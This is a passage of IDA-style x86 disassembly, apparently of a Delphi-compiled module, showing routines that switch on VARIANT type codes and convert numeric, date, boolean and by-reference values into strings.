; CODE XREF: sub_2000DC5C+5Bj lea eax, [ebp+pvarg] call sub_2000D6F0 retn ; --------------------------------------------------------------------------- loc_2000DCB2: ; DATA XREF: sub_2000DC5C+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000DCA9 ; --------------------------------------------------------------------------- loc_2000DCB9: ; CODE XREF: sub_2000DC5C+55j ; DATA XREF: sub_2000DC5C+48o pop esi pop ebx mov esp, ebp pop ebp retn sub_2000DC5C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000DCC0 proc near ; CODE XREF: sub_2000DD44+4CBp pvarg = VARIANTARG ptr -1Ch var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx mov [ebp+var_4], edx mov ebx, eax mov eax, [ebp+var_4] test eax, eax jz short loc_2000DCD7 xor edx, edx mov [eax], edx loc_2000DCD7: ; CODE XREF: sub_2000DCC0+11j lea edx, [ebp+var_C] mov ax, [ebx] call sub_2000EFAC mov [ebp+var_5], al cmp [ebp+var_5], 0 jz short loc_2000DD3C lea eax, [ebp+pvarg] push eax ; pvarg call VariantInit xor eax, eax push ebp push offset loc_2000DD35 push dword ptr fs:[eax] mov fs:[eax], esp push 100h mov ecx, ebx lea edx, [ebp+pvarg] mov eax, [ebp+var_C] mov ebx, [eax] call dword ptr [ebx+1Ch] mov eax, [ebp+var_4] mov edx, dword ptr [ebp+pvarg.anonymous_0+8] call sub_20003FFC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000DD3C loc_2000DD2C: ; CODE XREF: sub_2000DCC0+7Aj lea eax, [ebp+pvarg] call sub_2000D6F0 retn ; --------------------------------------------------------------------------- loc_2000DD35: ; DATA XREF: sub_2000DCC0+37o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000DD2C ; --------------------------------------------------------------------------- loc_2000DD3C: ; CODE XREF: sub_2000DCC0+29j ; sub_2000DCC0+74j ; DATA XREF: ... mov al, [ebp+var_5] pop ebx mov esp, ebp pop ebp retn sub_2000DCC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000DD44 proc near ; CODE XREF: sub_2000DC5C+3Bp ; sub_2000DD44+251p ... var_98 = tbyte ptr -98h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 0Fh loc_2000DD4C: ; CODE XREF: sub_2000DD44+Dj push 0 push 0 dec ecx jnz short loc_2000DD4C push ebx push esi mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_2000E27B push dword ptr fs:[eax] mov fs:[eax], esp mov ax, [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_2000DFB8 ; default ; jumptable 2000DD76 cases 10,14,15 jmp off_2000DD7D[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_2000DD7D dd offset loc_2000DDD1 ; DATA XREF: sub_2000DD44+32r dd offset loc_2000DDDD ; jump table for switch statement dd offset loc_2000DE05 dd offset loc_2000DE20 dd offset loc_2000DE3A dd offset loc_2000DE5B dd offset loc_2000DE7C dd offset loc_2000DE99 dd offset loc_2000DEB6 dd offset loc_2000DF9F dd offset loc_2000DFB8 dd offset loc_2000DEE6 dd offset loc_2000DF8E dd offset loc_2000DF9F dd offset loc_2000DFB8 dd offset loc_2000DFB8 dd offset loc_2000DF01 dd offset loc_2000DF1C dd offset loc_2000DF38 dd offset loc_2000DF53 dd offset loc_2000DF71 ; --------------------------------------------------------------------------- loc_2000DDD1: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do mov eax, esi ; jumptable 2000DD76 case 0 call sub_20003FA8 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DDDD: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do cmp ds:byte_20014334, 0 ; jumptable 2000DD76 case 1 jz short loc_2000DDF3 mov dx, 100h mov ax, 1 call sub_2000CFA4 loc_2000DDF3: ; CODE XREF: sub_2000DD44+A0j mov eax, esi mov edx, ds:dword_20014338 call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DE05: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea edx, [ebp+var_4] ; jumptable 2000DD76 case 2 movsx eax, word ptr [ebx+8] call sub_20007160 mov edx, [ebp+var_4] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DE20: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea edx, [ebp+var_8] ; jumptable 2000DD76 case 3 mov eax, [ebx+8] call sub_20007160 mov edx, [ebp+var_8] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DE3A: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do fld dword ptr [ebx+8] ; jumptable 2000DD76 case 4 add esp, 0FFFFFFF4h fstp [esp+98h+var_98] wait lea eax, [ebp+var_C] call sub_20008390 mov edx, [ebp+var_C] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DE5B: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do fld qword ptr [ebx+8] ; jumptable 2000DD76 case 5 add esp, 0FFFFFFF4h fstp [esp+98h+var_98] wait lea eax, [ebp+var_10] call sub_20008390 mov edx, [ebp+var_10] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DE7C: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do push dword ptr [ebx+0Ch] ; jumptable 2000DD76 case 6 push dword ptr [ebx+8] lea eax, [ebp+var_14] call sub_2000DA5C mov edx, [ebp+var_14] mov eax, esi call sub_20004230 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DE99: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do push dword ptr [ebx+0Ch] ; jumptable 2000DD76 case 7 push dword ptr [ebx+8] lea eax, [ebp+var_18] call sub_2000DA94 mov edx, [ebp+var_18] mov eax, esi call sub_20004230 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DEB6: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea eax, [ebp+var_1C] ; jumptable 2000DD76 case 8 push eax lea eax, [ebp+var_20] mov edx, [ebx+8] call sub_20004774 mov eax, [ebp+var_20] mov ecx, 7FFFFFFFh mov edx, 1 call sub_20004860 mov edx, [ebp+var_1C] mov eax, esi call sub_20004230 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DEE6: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea edx, [ebp+var_24] ; jumptable 2000DD76 case 11 mov ax, [ebx+8] call sub_2000DACC mov edx, [ebp+var_24] mov eax, esi call sub_20004230 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DF01: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea edx, [ebp+var_28] ; jumptable 2000DD76 case 16 movsx eax, byte ptr [ebx+8] call sub_20007160 mov edx, [ebp+var_28] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DF1C: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea edx, [ebp+var_2C] ; jumptable 2000DD76 case 17 xor eax, eax mov al, [ebx+8] call sub_20007160 mov edx, [ebp+var_2C] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DF38: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea edx, [ebp+var_30] ; jumptable 2000DD76 case 18 movzx eax, word ptr [ebx+8] call sub_20007160 mov edx, [ebp+var_30] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DF53: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do mov eax, [ebx+8] ; jumptable 2000DD76 case 19 xor edx, edx push edx push eax lea eax, [ebp+var_34] call sub_2000724C mov edx, [ebp+var_34] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DF71: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do push dword ptr [ebx+0Ch] ; jumptable 2000DD76 case 20 push dword ptr [ebx+8] lea eax, [ebp+var_38] call sub_2000724C mov edx, [ebp+var_38] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DF8E: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do mov eax, [ebx+8] ; jumptable 2000DD76 case 12 mov edx, eax mov eax, esi call sub_2000DD44 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DF9F: ; CODE XREF: sub_2000DD44+32j ; DATA XREF: sub_2000DD44:off_2000DD7Do lea edx, [ebp+var_3C] ; jumptable 2000DD76 cases 9,13 mov eax, ebx call sub_2000DB90 mov edx, [ebp+var_3C] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DFB8: ; CODE XREF: sub_2000DD44+2Cj ; sub_2000DD44+32j ; DATA XREF: ... mov edx, eax ; default ; jumptable 2000DD76 cases 10,14,15 sub dx, 100h jz short loc_2000DFC8 dec dx jz short loc_2000DFD7 jmp short loc_2000DFF0 ; --------------------------------------------------------------------------- loc_2000DFC8: ; CODE XREF: sub_2000DD44+27Bj mov eax, esi mov edx, [ebx+8] call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DFD7: ; CODE XREF: sub_2000DD44+280j lea edx, [ebp+var_40] mov eax, ebx call sub_2000DC5C mov edx, [ebp+var_40] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000DFF0: ; CODE XREF: sub_2000DD44+282j test ah, 40h jz loc_2000E204 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_2000E1EE ; default ; jumptable 2000E00A cases 0,1,9,10,13-15 jmp off_2000E011[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_2000E011 dd offset loc_2000E1EE ; DATA XREF: sub_2000DD44+2C6r dd offset loc_2000E1EE ; jump table for switch statement dd offset loc_2000E065 dd offset loc_2000E082 dd offset loc_2000E09E dd offset loc_2000E0C1 dd offset loc_2000E0E4 dd offset loc_2000E103 dd offset loc_2000E122 dd offset loc_2000E1EE dd offset loc_2000E1EE dd offset loc_2000E133 dd offset loc_2000E1E0 dd offset loc_2000E1EE dd offset loc_2000E1EE dd offset loc_2000E1EE dd offset loc_2000E150 dd offset loc_2000E16D dd offset loc_2000E18A dd offset loc_2000E1A7 dd offset loc_2000E1C4 ; --------------------------------------------------------------------------- loc_2000E065: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o lea edx, [ebp+var_44] ; jumptable 2000E00A case 2 mov eax, [ebx+8] movsx eax, word ptr [eax] call sub_20007160 mov edx, [ebp+var_44] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E082: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o lea edx, [ebp+var_48] ; jumptable 2000E00A case 3 mov eax, [ebx+8] mov eax, [eax] call sub_20007160 mov edx, [ebp+var_48] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E09E: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, [ebx+8] ; jumptable 2000E00A case 4 fld dword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+98h+var_98] wait lea eax, [ebp+var_4C] call sub_20008390 mov edx, [ebp+var_4C] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E0C1: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, [ebx+8] ; jumptable 2000E00A case 5 fld qword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+98h+var_98] wait lea eax, [ebp+var_50] call sub_20008390 mov edx, [ebp+var_50] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E0E4: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, [ebx+8] ; jumptable 2000E00A case 6 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_54] call sub_2000DA5C mov edx, [ebp+var_54] mov eax, esi call sub_20004230 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E103: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, [ebx+8] ; jumptable 2000E00A case 7 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_58] call sub_2000DA94 mov edx, [ebp+var_58] mov eax, esi call sub_20004230 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E122: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, esi ; jumptable 2000E00A case 8 mov edx, [ebx+8] mov edx, [edx] call sub_200041D0 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E133: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o lea edx, [ebp+var_5C] ; jumptable 2000E00A case 11 mov eax, [ebx+8] mov ax, [eax] call sub_2000DACC mov edx, [ebp+var_5C] mov eax, esi call sub_20004230 jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E150: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o lea edx, [ebp+var_60] ; jumptable 2000E00A case 16 mov eax, [ebx+8] movsx eax, byte ptr [eax] call sub_20007160 mov edx, [ebp+var_60] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E16D: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o lea edx, [ebp+var_64] ; jumptable 2000E00A case 17 mov eax, [ebx+8] movzx eax, byte ptr [eax] call sub_20007160 mov edx, [ebp+var_64] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E18A: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o lea edx, [ebp+var_68] ; jumptable 2000E00A case 18 mov eax, [ebx+8] movzx eax, word ptr [eax] call sub_20007160 mov edx, [ebp+var_68] mov eax, esi call sub_20003FFC jmp loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E1A7: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, [ebx+8] ; jumptable 2000E00A case 19 mov eax, [eax] xor edx, edx push edx push eax lea eax, [ebp+var_6C] call sub_2000724C mov edx, [ebp+var_6C] mov eax, esi call sub_20003FFC jmp short loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E1C4: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, [ebx+8] ; jumptable 2000E00A case 20 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_70] call sub_2000724C mov edx, [ebp+var_70] mov eax, esi call sub_20003FFC jmp short loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E1E0: ; CODE XREF: sub_2000DD44+2C6j ; DATA XREF: sub_2000DD44:off_2000E011o mov eax, [ebx+8] ; jumptable 2000E00A case 12 mov edx, eax mov eax, esi call sub_2000DD44 jmp short loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E1EE: ; CODE XREF: sub_2000DD44+2C0j ; sub_2000DD44+2C6j ; DATA XREF: ... lea edx, [ebp+var_74] ; default ; jumptable 2000E00A cases 0,1,9,10,13-15 mov eax, ebx call sub_2000DB90 mov edx, [ebp+var_74] mov eax, esi call sub_20003FFC jmp short loc_2000E22C ; --------------------------------------------------------------------------- loc_2000E204: ; CODE XREF: sub_2000DD44+2AFj mov eax, esi call sub_20003FA8 mov edx, eax mov eax, ebx call sub_2000DCC0 test al, al jnz short loc_2000E22C lea edx, [ebp+var_78] mov eax, ebx call sub_2000DB90 mov edx, [ebp+var_78] mov eax, esi call sub_20003FFC loc_2000E22C: ; CODE XREF: sub_2000DD44+94j ; sub_2000DD44+BCj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000E282 loc_2000E239: ; CODE XREF: sub_2000DD44+53Cj lea eax, [ebp+var_78] mov edx, 7 call sub_20003FCC lea eax, [ebp+var_5C] mov edx, 3 call sub_2000467C lea eax, [ebp+var_50] mov edx, 0Bh call sub_20003FCC lea eax, [ebp+var_24] mov edx, 5 call sub_2000467C lea eax, [ebp+var_10] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000E27B: ; DATA XREF: sub_2000DD44+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000E239 ; --------------------------------------------------------------------------- loc_2000E282: ; CODE XREF: sub_2000DD44+536j ; DATA XREF: sub_2000DD44+4F0o pop esi pop ebx mov esp, ebp pop ebp retn sub_2000DD44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000E288 proc near ; CODE XREF: sub_2000E46C+254p ; sub_2000E46C+4A3p ... var_14 = dword ptr -14h pvarg = VARIANTARG ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_2000E332 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+pvarg] push eax ; pvarg call VariantInit xor eax, eax push ebp push offset loc_2000E315 push dword ptr fs:[eax] mov fs:[eax], esp push 8 push 0 push 400h push ebx lea eax, [ebp+pvarg] push eax mov eax, ds:off_20014544 mov eax, [eax] call eax mov dx, [ebx] mov cx, 8 call sub_2000D3E4 push esi lea eax, [ebp+var_14] mov edx, dword ptr [ebp+pvarg.anonymous_0+8] call sub_20004774 mov eax, [ebp+var_14] mov ecx, 7FFFFFFFh mov edx, 1 call sub_20004860 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000E31C loc_2000E30C: ; CODE XREF: sub_2000E288+92j lea eax, [ebp+pvarg] call sub_2000D6F0 retn ; --------------------------------------------------------------------------- loc_2000E315: ; DATA XREF: sub_2000E288+2Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000E30C ; --------------------------------------------------------------------------- loc_2000E31C: ; CODE XREF: sub_2000E288+8Cj ; DATA XREF: sub_2000E288+7Fo xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000E339 loc_2000E329: ; CODE XREF: sub_2000E288+AFj lea eax, [ebp+var_14] call sub_20004664 retn ; --------------------------------------------------------------------------- loc_2000E332: ; DATA XREF: sub_2000E288+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000E329 ; --------------------------------------------------------------------------- loc_2000E339: ; CODE XREF: sub_2000E288+A9j ; DATA XREF: sub_2000E288+9Co pop esi pop ebx mov esp, ebp pop ebp retn sub_2000E288 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000E340 proc near ; CODE XREF: sub_2000E46C+28Cp pvarg = VARIANTARG ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov esi, edx mov ebx, eax lea eax, [ebp+pvarg] push eax ; pvarg call VariantInit xor eax, eax push ebp push offset loc_2000E396 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+pvarg] call sub_2000DA18 lea eax, [ebp+pvarg] call ds:dword_20015828 lea edx, [ebp+pvarg] mov eax, esi call sub_2000E46C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000E39D loc_2000E38D: ; CODE XREF: sub_2000E340+5Bj lea eax, [ebp+pvarg] call sub_2000D6F0 retn ; --------------------------------------------------------------------------- loc_2000E396: ; DATA XREF: sub_2000E340+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000E38D ; --------------------------------------------------------------------------- loc_2000E39D: ; CODE XREF: sub_2000E340+55j ; DATA XREF: sub_2000E340+48o pop esi pop ebx mov esp, ebp pop ebp retn sub_2000E340 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000E3A4 proc near ; CODE XREF: sub_2000E46C+4BFp var_20 = dword ptr -20h pvarg = VARIANTARG ptr -1Ch var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx xor ecx, ecx mov [ebp+var_20], ecx mov [ebp+var_4], edx mov ebx, eax mov eax, [ebp+var_4] test eax, eax jz short loc_2000E3C0 xor edx, edx mov [eax], edx loc_2000E3C0: ; CODE XREF: sub_2000E3A4+16j xor eax, eax push ebp push offset loc_2000E45C push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_C] mov ax, [ebx] call sub_2000EFAC mov [ebp+var_5], al cmp [ebp+var_5], 0 jz short loc_2000E446 lea eax, [ebp+pvarg] push eax ; pvarg call VariantInit xor eax, eax push ebp push offset loc_2000E43F push dword ptr fs:[eax] mov fs:[eax], esp push 8 mov ecx, ebx lea edx, [ebp+pvarg] mov eax, [ebp+var_C] mov ebx, [eax] call dword ptr [ebx+1Ch] mov eax, [ebp+var_4] push eax lea eax, [ebp+var_20] mov edx, dword ptr [ebp+pvarg.anonymous_0+8] call sub_20004774 mov eax, [ebp+var_20] mov ecx, 7FFFFFFFh mov edx, 1 call sub_20004860 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000E446 loc_2000E436: ; CODE XREF: sub_2000E3A4+A0j lea eax, [ebp+pvarg] call sub_2000D6F0 retn ; --------------------------------------------------------------------------- loc_2000E43F: ; DATA XREF: sub_2000E3A4+4Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000E436 ; --------------------------------------------------------------------------- loc_2000E446: ; CODE XREF: sub_2000E3A4+3Cj ; sub_2000E3A4+9Aj ; DATA XREF: ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000E463 loc_2000E453: ; CODE XREF: sub_2000E3A4+BDj lea eax, [ebp+var_20] call sub_20004664 retn ; --------------------------------------------------------------------------- loc_2000E45C: ; DATA XREF: sub_2000E3A4+1Fo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000E453 ; --------------------------------------------------------------------------- loc_2000E463: ; CODE XREF: sub_2000E3A4+B7j ; DATA XREF: sub_2000E3A4+AAo mov al, [ebp+var_5] pop ebx mov esp, ebp pop ebp retn sub_2000E3A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000E46C proc near ; CODE XREF: sub_2000E340+3Bp ; sub_2000E46C+245p ... var_94 = tbyte ptr -94h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 0Eh loc_2000E474: ; CODE XREF: sub_2000E46C+Dj push 0 push 0 dec ecx jnz short loc_2000E474 push ecx push ebx push esi mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_2000E9BE push dword ptr fs:[eax] mov fs:[eax], esp mov ax, [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_2000E6D4 ; default ; jumptable 2000E49F cases 10,14,15 jmp off_2000E4A6[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_2000E4A6 dd offset loc_2000E4FA ; DATA XREF: sub_2000E46C+33r dd offset loc_2000E506 ; jump table for switch statement dd offset loc_2000E52E dd offset loc_2000E549 dd offset loc_2000E563 dd offset loc_2000E584 dd offset loc_2000E5A5 dd offset loc_2000E5C2 dd offset loc_2000E5DF dd offset loc_2000E6BB dd offset loc_2000E6D4 dd offset loc_2000E602 dd offset loc_2000E6AA dd offset loc_2000E6BB dd offset loc_2000E6D4 dd offset loc_2000E6D4 dd offset loc_2000E61D dd offset loc_2000E638 dd offset loc_2000E654 dd offset loc_2000E66F dd offset loc_2000E68D ; --------------------------------------------------------------------------- loc_2000E4FA: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o mov eax, esi ; jumptable 2000E49F case 0 call sub_20004664 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E506: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o cmp ds:byte_20014334, 0 ; jumptable 2000E49F case 1 jz short loc_2000E51C mov dx, 8 mov ax, 1 call sub_2000CFA4 loc_2000E51C: ; CODE XREF: sub_2000E46C+A1j mov eax, esi mov edx, ds:dword_20014338 call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E52E: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o lea edx, [ebp+var_4] ; jumptable 2000E49F case 2 movsx eax, word ptr [ebx+8] call sub_20007160 mov edx, [ebp+var_4] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E549: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o lea edx, [ebp+var_8] ; jumptable 2000E49F case 3 mov eax, [ebx+8] call sub_20007160 mov edx, [ebp+var_8] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E563: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o fld dword ptr [ebx+8] ; jumptable 2000E49F case 4 add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_C] call sub_20008390 mov edx, [ebp+var_C] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E584: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o fld qword ptr [ebx+8] ; jumptable 2000E49F case 5 add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_10] call sub_20008390 mov edx, [ebp+var_10] mov eax, esi call sub_200047B0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E5A5: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o push dword ptr [ebx+0Ch] ; jumptable 2000E49F case 6 push dword ptr [ebx+8] lea eax, [ebp+var_14] call sub_2000DA5C mov edx, [ebp+var_14] mov eax, esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E5C2: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o push dword ptr [ebx+0Ch] ; jumptable 2000E49F case 7 push dword ptr [ebx+8] lea eax, [ebp+var_18] call sub_2000DA94 mov edx, [ebp+var_18] mov eax, esi call sub_200046A0 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E5DF: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o push esi ; jumptable 2000E49F case 8 lea eax, [ebp+var_1C] mov edx, [ebx+8] call sub_20004774 mov eax, [ebp+var_1C] mov ecx, 7FFFFFFFh mov edx, 1 call sub_20004860 jmp loc_2000E948 ; --------------------------------------------------------------------------- loc_2000E602: ; CODE XREF: sub_2000E46C+33j ; DATA XREF: sub_2000E46C:off_2000E4A6o lea edx, [ebp+var_20] ; jumptable 2000E49F case 11 mov ax, [ebx+8] call sub_2000DACC mov edx, [ebp+var_20] mov eax, 